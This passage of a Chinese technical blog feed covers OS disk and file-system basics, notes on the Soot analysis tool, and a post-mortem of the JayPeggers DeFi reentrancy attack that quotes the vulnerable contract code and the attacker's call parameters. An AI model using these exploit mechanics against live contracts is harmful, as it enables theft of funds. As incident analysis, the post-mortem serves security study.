设备的输入和从 IO 设备的读取，都在磁盘的这个区域进行。也就是说，在计算机中开辟一块存储位置，用来缓冲 IO，程序实际读取的数据来此这个缓冲区（更具体的是通过输入井和输出井），而缓冲区作为操作系统和 IO 设备之间的中介或者代理。所以 SPOOLing 的全称叫做 Simultaneous Peripheral Operation On-Line，同步同时的外设操作。国内翻译直接叫做假脱机，也是这个意思。</p><p>另外，磁盘内部可能也存在缓冲区，在缓存没有用光的情况下，速度会快很多。管理缓冲区的策略有 LRU(Least Recently Used)，它置换出最近最久没有使用的块；也有 LFU (Least Frequently Used)，置换出最近访问次数最少的块。</p><h3 id="磁盘的结构和读取过程">磁盘的结构和读取过程</h3><p>磁盘存储器的基本结构包括了物理<strong>盘片</strong>，每个磁盘片可能有一个或者两个<strong>存储面</strong>。每个存储面被划分成若干个同心圆，每个圆环就叫做<strong>磁道</strong>。每条圆环状的磁道划分成若干个<strong>扇区</strong>，层叠起来的不同盘片的相同的磁道就叫做<strong>柱面</strong>。</p><p>读取和写入数据的是磁头，有的是每个盘面一个磁头，有的则更加高级，一个盘面上多个磁头，对应着盘面上的磁道。磁头有固定读取某个磁道的类型，也有可以移动到指定磁道的类型。磁盘会高速旋转，这样就实现了读取全盘。</p><img src="http://cdn.blog-blockchain.xyz/202302111444167.png" alt="image-20230211144437037" style="zoom:50%;" /><img src="http://cdn.blog-blockchain.xyz/202302111450182.png" alt="image-20230211145003125" style="zoom: 80%;" /><p>磁盘的读取过程大致如下：在磁头可移动系统中，将磁头臂移动到指定磁道，磁头定位到指定磁道后，等待磁盘旋转，将待访问的扇区移动到磁头位置，向磁盘传送或从磁盘传送数据的时间，取决于磁盘的旋转速度。</p><p>因此磁盘的读取的时间主要有三部分：寻道时间、旋转延迟、传输时间。寻道时间一般是给定的。旋转延迟一般取平均，也就是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mopen">(</span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span></span></span></span>，其中 r 表示磁盘旋转速度，一般单位是每分钟多少转 rpm。<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为传输时间，b 表示要传送的字节数，r 表示旋转速度，N 表示一个磁道中的字节数，那么传输时间为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord">/</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>。</p><p>根据以上的规则，看一个示例：考虑一个典型的磁盘，平均寻道时间为 4ms，转速为 7500r/m，每个磁道有 500 个扇区，每个扇区有 512 个字节。假设有一个文件存放在 2500 个扇区上，估算下列两种情况下读取该文件需要的时间。（1）2500 个扇区分别位于 5 个相邻磁道上，且文件按扇区顺序存放；（2）2500 个扇区随机分布。</p><p>（1）转速换算 7500rpm=0.125r/ms，寻道时间 4ms，旋转延迟 1/(2*0.125)=4ms，读取一个扇区的时间 512/(500*512*0.125)=0.016ms。所以连续读取 5 个磁道需要 4ms+4ms*5+0.016ms*2500= 64 ms。<strong>相邻磁道的寻道时间可以忽略</strong></p><p>（2）如果随机分布的话，读写的三个过程必须都出现，2500*(4+4+0.016)ms=20040ms</p><h3 id="磁盘调度策略">磁盘调度策略</h3><p>因为磁头的位置一次只能处理一个请求，如果能够合理调度请求，让上面提到的时间综合起来最短，这就是磁盘调度得目标。</p><p><strong>FIFO 先进先出</strong>，根据进程请求访问磁盘的先后顺序，处理访问的需求。但是大量进程竞争磁盘时，性能接近随机调度。</p><p><strong>PRI 优先级</strong>，根进程读取磁盘安排优先级。</p><p><strong>LIFO 后进先出</strong>优先处理新到的请求。</p><p><strong>SSTF 最短寻道时间优先</strong>选择移动到距离前位置最近的磁道。</p><p><strong>SCAN 电梯算法</strong>磁头只沿着一个方向移动到尽头，然后再往反方向走。</p><p>**C-SCAN (Circular SCAN)**当磁臂沿指定方向扫描到磁盘最后一个磁道时，磁臂返回到反方向末端，再次沿指定方向扫描。记住这是单方向扫描。因为在末端位置的时候，已经扫描过的边缘位置，可能没有必要立即再扫描一遍。</p><p><strong>C-LOOK</strong> 在 C-SCAN 基础上改进，当前方向没有其他请求时，直接到另外一个方向最末端的请求，然后重新开始单方向扫描。</p><p><strong>FSCAN</strong> 使用两个子队列，扫描开始时，所有请求放在一个队列中，另外一个队列为空。在扫描过程中，新到来的请求放在另外一个队列中，当原来队列里的请求处理完毕之后，才会处理另外一个队列。</p><h3 id="RAID">RAID</h3><p>独立磁盘冗余阵列（RAID）是将多个独立的磁盘组成在一起形成一个大的磁盘系统，从而实现比单块磁盘更好的存储性能和更高的可靠性。具体来说，操作系统的眼中它是一个单一设备，但是它的整体性使得单一设备失效的时候，可以通过奇偶校验信息恢复数据，数据并不是单纯地存放在物理驱动器中，而是分布在各个硬盘中，实现条带化，进而实现高性能读取和容错。</p><p>RAID 分成多个等级</p><ul><li><p>level 0 不提供冗余功能，数据被划分成多个条带，条带映射到物理磁盘中。</p><img src="http://cdn.blog-blockchain.xyz/202302120047135.png" alt="image-20230212004707842" style="zoom:67%;" /></li><li><p>level 1 通过简单映像提供冗余功能，没有校验恢复功能，相当于直接备份。写入无优势，但是读取时会快一些。</p><img src="http://cdn.blog-blockchain.xyz/202302120048506.png" alt="image-20230212004824427" style="zoom: 67%;" /></li><li><p>level 2 实现了并行访问数据，提供了数据的校验。往往条带非常小，通过存储每个条带的汉明码确保数据的完整性。</p></li><li><p>…更多的不细究了。</p></li></ul><h2 id="文件系统">文件系统</h2><p>这一节，我们更像是了解文件系统是任何设计的，如果读者可以结合自身对 Windows 和 Linux 文件的经验，那么许多部分将会非常好理解。</p><p>文件系统是操作系统的重要组成部分，文件需要以一定的方式组织成特定的结构，然后长期的储存并且被进程访问。文件系统需要提供文件操作的接口，最典型的就是创建、删除、打开、关闭、读写等。文件系统还需要满足数据的管理、权限管理、IO 需求、多用户支持、性能优化等需求。</p><img src="http://cdn.blog-blockchain.xyz/202302120113299.png" alt="image-20230212011347222" style="zoom:50%;" /><p>设备驱动处于最底层，直接和外设通信，负责和控制器通信，给设备发出 IO 请求。基本文件系统则是处理数据存放在外存哪个位置。基本 IO 管理程序则关注磁盘调度、IO 设备调度。逻辑 IO 则是访问记录（<strong>记录是指一组基本数据单元的集合</strong>）和维护文件储存的基本数据。最上面一层则应给用户提供 IO 的接口，支持各自操作。</p><h3 id="文件组织">文件组织</h3><p>文件组织关注文件中记录的逻辑结构，一般需要满足五个原则：快速访问、易于修改、节约存储空间、易于维护、可靠。</p><p><strong>堆文件</strong>是最简单的文件组织方式，数据按照任意顺序排列，记录是变长的，就像随意堆积一样，搜索文件时只能穷举。</p><p><strong>顺序文件</strong>顾名思义就是按照一定的顺序排序，记录是定长的。</p><p><strong>索引顺序文件</strong>在顺序文件的基础上（比如还是保持顺序），添加了文件的关键特征，也就是文件的索引。当添加新的文件时，可以使用索引指向这个文件（溢出文件），然后插入在主文件中，不必实际地移动溢出文件。</p><img src="http://cdn.blog-blockchain.xyz/202302121527859.png" alt="image-20230212152722798" style="zoom: 43%;" /><p><strong>索引文件</strong>则只能通过索引访问记录。</p><p>**直接文件（散列文件）**可以通过哈希直接访问任何地址地数据块。</p><h3 id="文件目录">文件目录</h3><p>根据常识，文件的目录需要包括文件名、文件类型（比如文本文件或者二进制文件）、文件组织（比如目录层级）。从存储的地址方面，需要指示存储在哪个设备（卷）、外存的起始物理地址、文件存储的实际大小、文件大小最大限制。从访问控制的角度来说，需要确定所有者、访问信息（比如密码之类的）、各类用户权限信息。从使用信息来说，需要包括文件的创建时间、创建者、最后一次访问时间、最后一次访问用户、最后一次修改日期、最后一次修改者身份等。</p><p>目录的结构包括单级结构、两级结构、层次结构等。</p><p><strong>单级目录</strong>相当于简单的列表，整个文件系统只有一张目录表，每个目录项对应一个文件。可知，文件名字是不准重复的，而且查找速度慢。</p><img src="http://cdn.blog-blockchain.xyz/202302121746253.png" alt="image-20230212174625152" style="zoom:50%;" /><p><strong>两级结构</strong>则分成主目录和用户目录。主目录给每个用户一个目录项，用户目录则是简单的列表</p><img src="http://cdn.blog-blockchain.xyz/202302121745463.png" alt="image-20230212174552370" style="zoom: 50%;" /><p><strong>树状结构</strong>则可以包含多级目录，每个目录可以包含文件，也可以包含目录。所有的目录都是由根目录引出。任何文件都可以从根目录向下到各个分支来定位。多个文件可以同名，但是确保路径名是唯一的。</p><img src="http://cdn.blog-blockchain.xyz/202302121746361.png" alt="image-20230212174643263" style="zoom:67%;" /><p><strong>无循环图结构</strong>在树型目录的基础上，允许多个目录项指向同一个数据文件或者目录文件，相当于多了软链接。</p><img src="http://cdn.blog-blockchain.xyz/202302122023737.png" alt="image-20230212202318639" style="zoom:50%;" /><h3 id="文件共享">文件共享</h3><p>当文件允许共享时时，就会出现权限控制和并发控制的问题。权限可以大致分成读、写、执行，更加细化可以分成追加、更新、改变权限、删除等。和文件权限相关的用户身份有所有者、特定用户、组用户和全部。 Unix 一般是通过链接实现文件共享。</p><p><strong>硬链接</strong>是将多个文件名链接到同一个索引节点，索引节点会记录引用次数，如果减到 0 那么文件就会被删除。链接文件和被链接文件必须位于同一个文件系统中，而且不允许目录链接。</p><p><strong>软链接</strong>又叫符号链接，软链接文件完全不会影响原文件，它们是互相独立的。</p><h3 id="外存管理">外存管理</h3><p>外存就是各种磁盘之类的存储设备，在外存中，文件由许多的块组成。这些块有三种组织方式定长组块（每个块大小相同）、变长非跨越组块（每个块大小不同且物理上必须连续）、变长跨越组块。</p><img src="http://cdn.blog-blockchain.xyz/202302131952510.png" alt="image-20230213195201427" style="zoom: 67%;" /><p>文件系统会将外存分成一个或多个由一组连续分配的块组成的区域，叫做<strong>分区</strong>。<strong>FAT（文件分配表）<strong>会跟踪分区中的数据结构。文件分配到分区的过程中有</strong>预分配</strong>和<strong>动态分配</strong>两种方式。预分配需要在文件创建时声明文件的最大尺寸，动态分配在需要时才给文件分配空间。文件分配时，<strong>连续分配</strong>的方式是文件由在外存中连续的块组成，隐式的<strong>链式分配</strong>则是类似链表，块串在一块，如果要优化读写也可以合并，变成连续分配。<strong>显式链接</strong>则有些不同，不是采用链表，而是将物理块的指针存储在 FAT 表中。早期的 DOS 系统 FAT12 文件系统，FAT 表里每个项用于表示物理块号的位数是 12 比特，所以如果采用<strong>显式链接</strong>的链式分配，最多支持有 2^12 个物理块。</p><img src="http://cdn.blog-blockchain.xyz/202302132116437.png" alt="image-20230213211600382" style="zoom:50%;" /><p>实际在操作系统中，并不会精确到每一个扇区去存储，可是采用<strong>簇</strong>作为最小单位，一个文件的占用空间大小只能是簇的整数倍。簇越大，越适合大文件的存储，可以节省 FAT 的表项，便于管理。但是存储小文件时，占用空间可能会远超过实际大小。</p><p>除了 FAT（文件分配表）会记录哪些块被使用了，**DAT（磁盘分配表）**用于记录哪些空间没有被使用。DAT 的结构有如下几种情况：</p><ol><li>位表，Bit Tables。使用一个很长的比特向量，向量的每一位对应磁盘中的每一块，用 0 表示空闲，1 表示占用。</li><li>链接空闲分区。采取类似链表的方式，记录下一个空闲区的位置和长度，只需要知道第一个空闲分区的信息即可。</li><li>索引。使用索引表记录空闲空间。</li><li>空白块列表。每个块指定一个序号， 把所有空闲块的序号保存在磁盘中。</li></ol><p><strong>卷</strong>在本质上是指<strong>逻辑磁盘</strong>，是一组在外存上可寻址的扇区的集合，操作系统或应用程序用卷来存储数据。而分区是连续物理块的集合。</p><h3 id="UNIX-文件管理">UNIX 文件管理</h3><p>UNIX 将文件分成 6 类：</p><ol><li>普通文件（Regular, or ordinary），可以视作字节流，可以存储任意数据。</li><li>目录（Directory），包含文件名的列表和指向它的索引节点的指针。</li><li>特殊文件（Special），不包含数据，用于物理设备映射到一个文件名。</li><li>命名管道（Named pipes），用于进程间通信。</li><li>链接文件（Links），硬链接，相当于文件别名。</li><li>符号链接（Symbolic links），相当于软链接。</li></ol><p>UNIX 的所有文件都是通过所有节点管理的，索引节点包含了操作系统需要的文件的所有关键信息。下图就是一个索引节点，它自身就有很多的控制信息，然后包括了指向其他指针的指针和数据的指针。</p><p>值得关注的是，指针可以分成多级，每一级可以管理数据的数量指数级增加。而且数据的存储是采用动态分配的方式，按需分配大小。</p><img src="http://cdn.blog-blockchain.xyz/202302132212967.png" alt="image-20230213221211888" style="zoom: 67%;" /><p>示例：设文件索引节点中有 7 个地址项，其中 4 个地址项为直接地址索引，2 个地址项是一级间接地址索引，1 个地址项是二级间接地址索引，每个地址项大小为 4 字节，若磁盘索引块和磁盘数据块大小均为 256 字节，则可表示的单个文件的最大长度是？</p><p>根据上图的结构可以看到，直接地址直接指向数据块，也就是 4*256=1024 字节=1KB。一级间接地址项指向的索引项（注意<strong>地址项指向索引块</strong>）大小为 256 字节，4 字节一个地址，那么就有 64 个地址项，指向了 64 个数据块。所以支持 2*64*256 B= 32KB。二级间接地址以此类推，1*64*64*256B=1024KB。所以这个索引节点最大支持的文件大小是直接块和间接块之后，也就是 1+32+1024=1057KB。</p><h2 id="参考和推荐阅读">参考和推荐阅读</h2><ul><li><a href="https://www.zbpblog.com/blog-338.html">进程互斥的软件实现方式和硬件实现方法</a></li><li><a href="https://www.cnblogs.com/niuyourou/p/12588407.html">I/O 操作的那些事儿：轮询 ，中断 ， DMA ，通道</a></li><li><a href="https://www.cnblogs.com/Otiger/p/14748569.html">五种 IO 模型和三种实现方式</a></li><li><a href="https://zhuanlan.zhihu.com/p/51170719">RAID 磁盘阵列是什么（一看就懂）</a></li><li><a href="https://blog.csdn.net/qq_44824148/article/details/112037724">操作系统中的『访存次数』</a></li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/cs-courses/OS/</id>
    <link href="https://www.blog-blockchain.xyz/cs-courses/OS/"/>
    <published>2023-02-13T15:06:22.000Z</published>
    <summary>全面阐述操作系统核心概念，包括进程线程管理、内存管理、文件系统、死锁处理、调度算法等重要主题，适合计算机专业学生和系统开发人员学习参考。</summary>
    <title>操作系统基础</title>
    <updated>2026-02-19T16:18:01.153Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/categories/defi/"/>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/tags/defi/"/>
    <content>
      <![CDATA[<p>UTU 2022 年 12 月 29 日 5 时（北京时间 13 时），以太坊主网上的 <a href="https://twitter.com/jaypeggerz">JayPeggers</a> 协议遭到重入攻击，损失约 15 ETH。随后攻击者通过 <a href="https://etherscan.io/address/0xd90e2f925da726b50c4ed8d0fb90ad053324f31b">Tornado.Cash</a> 和 <a href="https://etherscan.io/address/0xff1f2b4adb9df6fc8eafecdcbf96a2b351680455">Aztec</a> 转移被盗资金。</p><ul><li>攻击者地址：<a href="https://etherscan.io/address/0x0348d20b74ddc0ac9bfc3626e06d30bb6fac213b">https://etherscan.io/address/0x0348d20b74ddc0ac9bfc3626e06d30bb6fac213b</a></li><li>发起攻击的合约：<a href="https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340">https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340</a></li><li>发起攻击的交易：<a href="https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>被攻击合约：<a href="https://etherscan.io/address/0xf2919D1D80Aff2940274014bef534f7791906FF2">https://etherscan.io/address/0xf2919D1D80Aff2940274014bef534f7791906FF2</a></li><li>调试交易：<a href="https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li></ul><h2 id="分析">分析</h2><p>首先，攻击合约从 Vault(0xba12222222228d8ba445958a75a0704d566bf2c8) 获得借出 72.5 WETH 的代币余额，然后从 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 利用 <code>withdraw</code> 函数取出。至此，攻击者通过闪电贷获得了起始资金。</p><p>接着调用了 <code>buyJay</code>，关键在于计算铸币数量的 <code> ETHtoJAY</code> 函数，它是用 代币总量/ETH 总量，计算代币价格的。这次只是通过 22 WETH 购买了 13584899853779845952188 Jay 代币。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">function buyJay(</span><br><span class="line">        address[] calldata erc721TokenAddress,</span><br><span class="line">        uint256[] calldata erc721Ids,</span><br><span class="line">        address[] calldata erc1155TokenAddress,</span><br><span class="line">        uint256[] calldata erc1155Ids,</span><br><span class="line">        uint256[] calldata erc1155Amounts</span><br><span class="line">    ) public payable &#123;</span><br><span class="line">        require(start, &quot;Not started!&quot;);</span><br><span class="line">        uint256 total = erc721TokenAddress.length;</span><br><span class="line">        if (total != 0) buyJayWithERC721(erc721TokenAddress, erc721Ids);</span><br><span class="line"></span><br><span class="line">        if (erc1155TokenAddress.length != 0)</span><br><span class="line">            total = total.add(</span><br><span class="line">                buyJayWithERC1155(</span><br><span class="line">                    erc1155TokenAddress,</span><br><span class="line">                    erc1155Ids,</span><br><span class="line">                    erc1155Amounts</span><br><span class="line">                )</span><br><span class="line">            );</span><br><span class="line"></span><br><span class="line">        if (total &gt;= 100)</span><br><span class="line">            require(</span><br><span class="line">                msg.value &gt;= (total).mul(sellNftFeeEth).div(2),</span><br><span class="line">                &quot;You need to pay ETH more&quot;</span><br><span class="line">            );</span><br><span class="line">        else</span><br><span class="line">            require(</span><br><span class="line">                msg.value &gt;= (total).mul(sellNftFeeEth),</span><br><span class="line">                &quot;You need to pay ETH more&quot;</span><br><span class="line">            );</span><br><span class="line"></span><br><span class="line">        _mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));</span><br><span class="line"></span><br><span class="line">        (bool success, ) = dev.call&#123;value: msg.value.div(34)&#125;(&quot;&quot;);</span><br><span class="line">        require(success, &quot;ETH Transfer failed.&quot;);</span><br><span class="line"></span><br><span class="line">        nftsSold += total;</span><br><span class="line"></span><br><span class="line">        emit Price(block.timestamp, JAYtoETH(1 * 10**18));</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function ETHtoJAY(uint256 value) public view returns (uint256) &#123;</span><br><span class="line">    return value.mul(totalSupply()).div(address(this).balance.sub(value));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>攻击者第二次调用 <code> ETHtoJAY</code> 函数，这次用 50.5 ETH 铸造了 4313025058290613910965927 Jay 代币。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;erc721TokenAddress&quot;: [</span><br><span class="line">    &quot;0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340&quot;</span><br><span class="line">  ],</span><br><span class="line">  &quot;erc721Ids&quot;: [</span><br><span class="line">    &quot;0&quot;</span><br><span class="line">  ],</span><br><span class="line">  &quot;erc1155TokenAddress&quot;: [],</span><br><span class="line">  &quot;erc1155Ids&quot;: [],</span><br><span class="line">  &quot;erc1155Amounts&quot;: []</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以知道，售卖的 NFT 是一个攻击者自定义的 ERC721 合约，实际上没有任何价值，只是用来通过第 10 行的 <code> buyJayWithERC721</code> 重入的。</p><p><img src="http://cdn.blog-blockchain.xyz/202212292323928.png" alt="image-20221229232347867"></p><p>在 <code>sell</code> 函数中，计算 eth 的逻辑如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function JAYtoETH(uint256 value) public view returns (uint256) &#123;</span><br><span class="line">    return (value * address(this).balance).div(totalSupply());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这时 <code>address(this).balance</code> 已经因为传入了 50.5 WETH 而增大了，但是<code>buyJay</code> 中的 <code>_mint</code> 函数中的 <code>_totalSupply</code> 还没变化，因此造成了价格操控。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/defi/JayPeggers-attack/</id>
    <link href="https://www.blog-blockchain.xyz/defi/JayPeggers-attack/"/>
    <published>2022-12-29T15:34:22.000Z</published>
    <summary>分析JayPeggers协议遭受的重入攻击事件，损失约15 ETH，揭示攻击者如何通过操控代币价格计算逻辑和利用ERC721合约重入实现套利。</summary>
    <title>JayPeggers 攻击分析</title>
    <updated>2026-02-19T16:18:01.172Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><p>这篇文章主要是体验各种程序分析的工具，对于网上已经写的很好的文章，采取了直接引用的方式。读者应该多了解引用的链接，感兴趣的话可以跟着其他人的文章做一做。</p><p>如果需要精通使用，程序分析框架的学习成本还是比较高的。但是强烈建议有时间的读者，可以玩一玩。</p><h2 id="Java">Java</h2><p>java 基本语法与 C++ 类似，不熟悉的读者可以参考教程学习：<a href="https://www.liaoxuefeng.com/wiki/1252599548343744">https://www.liaoxuefeng.com/wiki/1252599548343744</a> ，如果有编程基础，入门很快的。</p><h2 id="Soot">Soot</h2><p>以下引用内容来自 <a href="https://www.cnblogs.com/xine/">星雪亭</a>的《<a href="https://www.cnblogs.com/xine/p/14511818.html">Soot 使用笔记</a>》，我对里面不太准确的内容进行了调整和改正。</p><blockquote><h2 id="1、soot-简介">1、soot 简介</h2><p>Soot 是 McGill 大学的 Sable 研究小组自 1996 年开始开发的 Java 字节码分析工具，它提供了多种字节码分析和变换功能，通过它可以进行过程内和过程间的分析优化，以及程序流图的生成，还能通过图形化的方式输出，让用户对程序有个直观的了解。尤其是做单元测试的时候，可以很方便的通过这个生成控制流图然后进行测试用例的覆盖，显著提高效率。</p><p>soot 项目在 github 上的地址为：<a href="https://github.com/Sable/soot">https://github.com/Sable/soot</a></p><p><strong>soot 是 java 优化框架，提供 4 种中间代码来分析和转换字节码。</strong></p><ul><li>Baf：精简的字节码表示，操作简单</li><li>Jimple：适用于优化的 3-address 中间表示</li><li>Shimple：Jimple 的 SSA 变体</li><li>Grimple：适用于反编译和代码检查的 Jimple 汇总版本。</li></ul><p><strong>soot 提供的输入和输出格式</strong></p><p><strong>输入格式</strong></p><ul><li>java</li><li>android 字节码</li><li>Jasmin，低级中间表示</li><li>soot 提供的分析功能</li><li>class(Java8 以后)</li></ul><p><strong>输出格式</strong></p><ul><li>Java 字节码</li><li>android 字节码</li><li>Jimple</li><li>Jasmin</li><li>shimple</li><li>baf</li><li>grimple</li><li>xml</li><li>class</li><li>dava</li><li>template</li><li>jar 文件</li></ul><p><strong>soot 提供的分析功能</strong></p><ul><li>调用图构造</li><li>指针分析</li><li>Def/use chains</li><li>模块驱动的程序内数据流分析</li><li>结合 FlowDroid 的污染分析</li></ul><h2 id="2-soot-的安装">2.soot 的安装</h2><p>目前来说，要使用 soot 有三种途径，分别是命令行、程序内以及 Eclipse 插件（不推荐）</p><h3 id="2-1、命令行">2.1、命令行</h3><p>可以在<a href="https://soot-build.cs.uni-paderborn.de/public/origin/master/soot/soot-master/">这里</a>下载最新的 soot jar 包，我下载的是 4.1.0 版本中的 sootclasses-trunk-jar-with-dependencies.jar 包，这个包应该自带了 soot 所需要的所有依赖。下载：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -O https://soot-build.cs.uni-paderborn.de/public/origin/master/soot/soot-master/4.1.0/build/sootclasses-trunk-jar-with-dependencies.jar</span><br></pre></td></tr></table></figure><p>输入以下命令：</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">java </span>-cp sootclasses-trunk-<span class="keyword">jar-with-dependencies.jar </span>soot.Main</span><br></pre></td></tr></table></figure><p>可以看到：</p><p><a href="https://img2020.cnblogs.com/blog/2111975/202103/2111975-20210310151005773-1785486172.png"><img src="http://cdn.blog-blockchain.xyz/202211131855206.png" alt="image-20210310150138324"></a></p><p>再输入</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">java </span>-cp sootclasses-trunk-<span class="keyword">jar-with-dependencies.jar </span>soot.Main -h</span><br></pre></td></tr></table></figure><p>可以看到有关 soot 的各种帮助信息。</p><h3 id="2-2、程序内使用-soot">2.2、程序内使用 soot</h3><p>从 github 上 soot 项目的简介可知，soot 一般配合 maven 来进行部署,相关的依赖添加语句如下：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span 